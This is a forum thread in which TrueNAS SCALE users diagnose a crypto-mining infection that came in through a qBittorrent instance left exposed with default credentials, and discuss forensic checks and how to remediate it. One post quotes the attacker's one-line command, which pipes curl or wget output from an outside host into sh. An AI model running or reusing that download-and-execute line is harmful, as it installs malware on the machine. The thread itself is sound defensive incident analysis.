After TrueNAS scale update to 24.04, the cpu is always high usage, there is no apps new install.
Using htop, it seems that JOURNALCTLD cause the issue.
I have limited the cpu resource of apps, but it did not work, cpu usage still high and last a long time.
Deleting and reconfiguring apps are the last thing I want to do, so is that any way to solve the issure. Thanks
How about listing your hardware, so we can see if there might be an issue there. Also, it certainly looks like your bittorrent is using up some CPU time and a lot of the NIC.
I also recommend that you stop your applications one at a time to see how that impacts your CPU usage.
Also what did you upgrade from? CORE, older SCALE? Version.
Thank for your reply. Took some time just want to confirm some issues.
I am using TrueNAS Scale, hardware includes:
CPU:intel E3-1235L v5
RAM: 32+8G
Disk: Nvme 512G, spin 16T*2+4T, 32G thumb drive for boot
Power: Huawei 750W Server Power Supply
Software running:
One VM run fedora server system, 2 apps (qbittorrent, syncthing).
Before updated to Dragonfish-24.04.0, all function is normal, no high peek cpu usage that lasted a long time(2 hours above).
One alteration of truenas system was updating qbittorrent version after TrueNAS Scale updated.
Except the journalctld cause cpu firing all cylinder, I recently notice that an another unknown process named SyGIcPtf running all the time with suspicious folder /TMP (pic blow).
So my question is that what can I do to fix the high cpu usage problem besides forcefully stop, and Have I been hacked?
Another quesstion is what is the process <</usr/bin/python3 -c from multiprocessing. spawn import spawn main; spawn main(tracker fd=ll,
ipe handle-69)
–multiprocessing-fork>> running for?
Thank for your help.
Yes, looks that way. Signs point to it being crypto mining malware.
Likely vector would be a hacked app that you downloaded or possibly an intrusion if you’ve allowed direct access to your server.
Searching for the process name .SyGIcPtf yielded exactly one hit from two days ago, that shows someone else investigating a runaway process with the same name.
If it’s persistent it will likely return in some way after a reboot, possibly at a delay and/or with a different process name. You could try following the same steps the person in that thread did; namely instead of terminating the process first copy it to a file you control: cat /proc/PID/exe /tmp/weird_file and then run strings /tmp/weird_file on it to confirm if it also references crypto mining. Obviously replacing PID with a current, active, process ID.
While I’m not sure, my guess is that the references to that journalctld process owned by apps running from /config/ is related. Note that journalctld is missing from the second screenshot, but that .SyGIcPtf is there instead and behaving in a very similar way. My SCALE install doesn’t have a /config/ directory.
Do you have any sort of external access enabled on your NAS (qBittorrent included)? Based on the behavior and neofusion’s comment it almost certainly is a crypto-miner.
Try to determine possible ways it got there, ensure any form of remote access is secured, check for possible persistence (.zshrc is a common one along with cron jobs, check for any new SSH keys, check for any new local accounts, etc).
Honestly I would reinstall just in-case as well. It’s easy (just export and reimport configuration on a new install) and is definitely easier than going over everything with a fine-tooth comb. A lot of these types of malware aren’t particularly sophisticated and involve just dropping a crytpominer, adding some form of reboot persistence, and nothing else.
A reinstall sounds sensible. Combined with checking .zshrc (or equivalent) of any user with a home directory. Another place would be in your app connected host paths.
In theory the malware creators could use APIs to make alterations persistent in the config, but it would have to be TrueNAS aware to even try. Not sure how likely that is.
Bro, same happened on my openwrt. I recorded the entire investigation process in
记一次软路由被新型的SyGIcPtf挖矿病毒入侵的经历 - 知乎 (zhihu.com). I don’t use truenas but when I search bing for SyGIcPtf I find your post. After I figure out how it hack, I sign up to share you what I found.
I use frp to map qbittorrent to the public network without modify default username and passwd (I forgot and my bad). Yesterday I found that a process named /temp/SyGIcPtf run with high cpu usage. After investigation, I find out it is qbittorrent that be hacked. Hacker uses the function “run external program” in qbittorrent and replaces the command to
sh -c "(curl -s -k -L selfupdate.net || wget --no-check-certificate -O - selfupdate.net) | sh"
Here’s the full script.
The script downloads SyGIcPtr to /tmp/.SyGIcPtr, runs it and then removes it. And it try to kill other miner.
So the solution is to reinstall qbittorrent or recovery from a snapshoot. I hope it would be helpful.
This is exactly what I had assumed, qBittorrent is a very common attack vector.
Please always remember to change defaults!
If you are using any -arrs (sonarr, radarr, etc), please make sure these are also up to date and secured with a login (the sheer number of these with authentication disabled on the open internet is staggering). There was a lack of security up until earlier this year where logins to connected services, such as qBittorrent, were displayed in plaintext in the page source.
Edit: Obligatory notice not to use qB or -arrs for piracy yada yada. ISOs and media management of locally ripped DVDs only please!
Just for some more fun info:
The XMR Address is 41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b
There are currently 141 workers connected! (netting them €15.13/day)
It’s quite boring in all honesty, there isn’t a lot of complexity to it.
If you add mine.cdnsrv.in to something like pihole you completely mitigate it.
